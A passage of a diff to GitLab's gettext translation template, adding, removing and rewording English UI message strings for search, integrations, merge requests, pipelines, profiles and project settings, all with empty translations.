+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
